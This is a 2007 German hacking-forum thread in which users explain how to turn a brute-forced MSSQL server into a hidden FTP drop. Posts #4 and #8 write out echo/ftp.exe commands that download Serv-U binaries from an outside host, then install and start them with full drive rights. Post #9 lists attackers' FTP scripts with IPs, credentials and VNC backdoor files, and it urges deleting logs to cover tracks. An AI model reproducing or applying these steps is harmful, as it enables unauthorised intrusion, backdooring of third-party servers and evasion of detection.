#1 6. November 2007 FTP mit Serv-U.exe einrichten ??? Hi, habe einen nach port 1433 gescannt, dann gebruted und mich mit SQLExec_2.0 connected. Jetzt möchte ich daraus einen Str0 machen, also einen FTP server einrichten. Ich weiß nur nicht genau wie ich da vorgehen soll. benutze den code, aber weiß nicht genau was es mit diesem GET script auf sich hat?? Bräuchte sehr dringend hilfe + Multi-Zitat Zitieren
#2 6. November 2007 Zuletzt von einem Moderator bearbeitet: 15. April 2017 AW: FTP mit Serv-U.exe einrichten ??? mach das raus wollen ja net das noch mehr damit rumspielen [Hacking] MSSQL – Scannen, Bruten, Serv-U... steht alles was du wissen musst wenn nicht reicht ==> google.de ==> mssql ; serv U ; usw.. findest alles... + Multi-Zitat Zitieren
#3 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? oh , habe den link aus versehen stehen lassen. da steht aber nicht, wie man sich serv-u einrichtet, wenn man keinen adminzugang hat + Multi-Zitat Zitieren
#4 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? Erstmal brauchst du eine Serv-U.exe sowie die dazugehörige Serv-U.ini, wenn du noch keine gemoddede hast dann lad dir Serv-U runter (ftp://ftp1.rhinosoft.com/rhinosoft/serv-u/sugerman.exe) installiers und erstell einen neuen FTP Server über die Administration (bei IP nichts eingeben, da die ja immer variiert, nimm nicht Port 21 sondern sowas wie 6782) Erstell Benutzer Account, gib alle Rechte her für c:/ und so. Danach einfach in c:/programme/serv-u gehen und daraus kopierst dir ServUDaemon.exe und ServUDaemon.ini, das uppst beides auf einen pub. Danach connectest zu deinen MSSQL-Server und gibst dir C:/ ein, wenn der space aufgelistet wird und der Server somit keinen SQL_Error hat, gibst folgendes ein: echo open 255.255.255.255 >> windows.txt (Anstelle der IP bei mir die Pub-IP) echo user anonymous anonymous >> windows.txt echo get ServUDaemon.exe >> windows.txt echo get ServUDaemon.ini >> windows.txt echo quit >> windows.txt ftp.exe -i -n -v -s:windows.txt Wenn alles oben ist gibst das ein: start ServUDaemon.exe /i (Eben den EXE Namen) net start Serv-U (Oder Serv-U FTP, eben den Dienstnamen) Das ist das gröbste, hol dir ne gemodde Serv-U und kopier darin das rein, aus deiner eigenen .ini! Hab mal welche geuppt irgendwo, sind aber totaler mist ^^ Thatz it, Scratchy @down stimmt, hab ich eben auf die Schnelle verpeilt. + Multi-Zitat Zitieren
#5 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? da sieht mans mal wieder^^ die tuts sind eben mist... die eigendliche shell, cmd oder wie auch immer mans nennen mag, die ist standardmäßig im system32 verzeichnis... (selten, dass beim "mssql server hacken" die shell mal wo anderes ist............) also warum die files ins system32 dir laden, wenn sie so oder so dort hingeladen werden (die files werden ja bekanntlich automatisch in das verzeichnis geladen, wo die shell gelade liegt, außer man gibt explizit nen anderen ort an)... die zeile "Echo Lcd c:\winnt\System32>>FTP.txt" ist also sowas von sinnlos... aber neja, so ist das eben... alle wollen tolle tuts schreiben, aber haben selber kein plan ^^ also happy hacking^^ ich glaube kaum, dass das wort "Dienstname" dort richtig ist müsste wohl eher "eben der name der exe, wie auch immer sie heißt" heißen + Multi-Zitat Zitieren
#6 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? Hab ne gemoddete Servu, bekomm sie aber nicht gestartet -.- Also servu.exe /i geht ja aber: net start servu.exe oder so geht alles nicht. Das is , weil ich nicht weiß wie der Dienstname ist. Wie bekomm ich das hin?? greez //edit: b2t: Dein Problem ist glaube ich, dass du noch nie eine Servu konfiguriert hast. Das Problem hatte ich auch bis ich dann mal Serrvu Zugriff bekommen hab und os halb verstanden habe wie das alles funktioniert! ^^ + Multi-Zitat Zitieren
#7 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? ganz einfach servu per doppelklick zu hause starten... dann kannst mit legalen tools ganz einfach in der cmd den service namen auslesen lassen^^ ps: chip.de da gibts nen tool für die console... zeigt dir alle exe dateien an, die gerade gestartet sind und den entsprechenden service name... (auch wenn du diese nicht als service gestartet hast) aber bissel suchen sollst auch, damit dus nicht viel zu einfach hast. denn such mal fein + Multi-Zitat Zitieren
#8 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? du musst dir SU lokal installieren.. Dann kannste dir über den Serv-u Administrator auf deinem PC (lokalem server) die Gruppen, User etc. pp. einrichten.... Speichern.... Die .ini findest du dann im Serv-u Installations Ordner wieder.... Zu GET-Script.... Du musst halt: echo open IPvomPUB>>test.txt echo bedeutet wenn du dich mit CMD auskennst, dass er etwas wiedergibt... und >>test.txt heißt, dass er das was er wiedergibt (hier "open IPvomPUB) in eine .txt schreibt... Das ganze hat folgenden Sinn: Man kann mit der ftp.exe ein Datei öffnen, wo die befehle drin sind, die die ftp.exe ausführen soll..also: echo open 255.255.255.255 >> windows.txt //Öffnen der Verbindung zu Server wo Serv-u liegt echo user anonymous anonymous >> windows.txt //Einloggen als Anonymous...(falls du login-daten hast müssen die hier hin echo get ServUDaemon.exe >> windows.txt //get serv-u also downloade servudaemon.exe echo get ServUDaemon.ini >> windows.txt //get serv-u also downloade servudu aaemon.ini echo quit >> windows.txt //schließe die FTp-verbindung... MfG + Multi-Zitat Zitieren
#9 6. November 2007 AW: FTP mit Serv-U.exe einrichten ??? hier ein paar beispiele wie es andere hacker machen: Code: open home.arcor.de 21 wtfisthis2 a1a2a3a4 binary get network.exe get shelldebug.ocx quit Code: open 80.80.57.43 Anonymous hihi@gmx.net BINARY cd 01 GET authadmin.dll GET authSSP.dll GET Idapauth.dll GET Idapauth9x.dll GET Idapauthnt4.dll GET logging.dll GET logmessages.dll GET MSLogonACL.exe GET stop_service.exe GET stop_servicehelper.exe GET testauth.exe GET uacvista.exe GET uacvistahelper.exe GET ultravnc.ini GET unzip32.dll GET vnchooks.exe GET vncviewer.exe GET winvnc.exe GET workgrpdomnt4.dll GET zip32.dll close Code: open 65.93.247.178 4600 user sa bla razor@best.com get packwinnt.exe get delnt.exe bye Code: open 213.23.182.2 21 user anonymous razor@best.com get clusio.sys get dsdmogt.dll get install.bat get rasptq.sys get rsnopov.exe get scrcons.exe get wmiprvse.exe bye Code: open 70.55.248.69 21 user anonymous razor@best.com get clusio.sys get dsdmogt.dll get install.bat get rasptq.sys get rsnopov.exe get scrcons.exe get wmiprvse.exe bye also ganz wichtig ! :: immer schön spuren verwischen und wenns mal nicht geklappt hat direkt noch logs löschen ! greets + Multi-Zitat Zitieren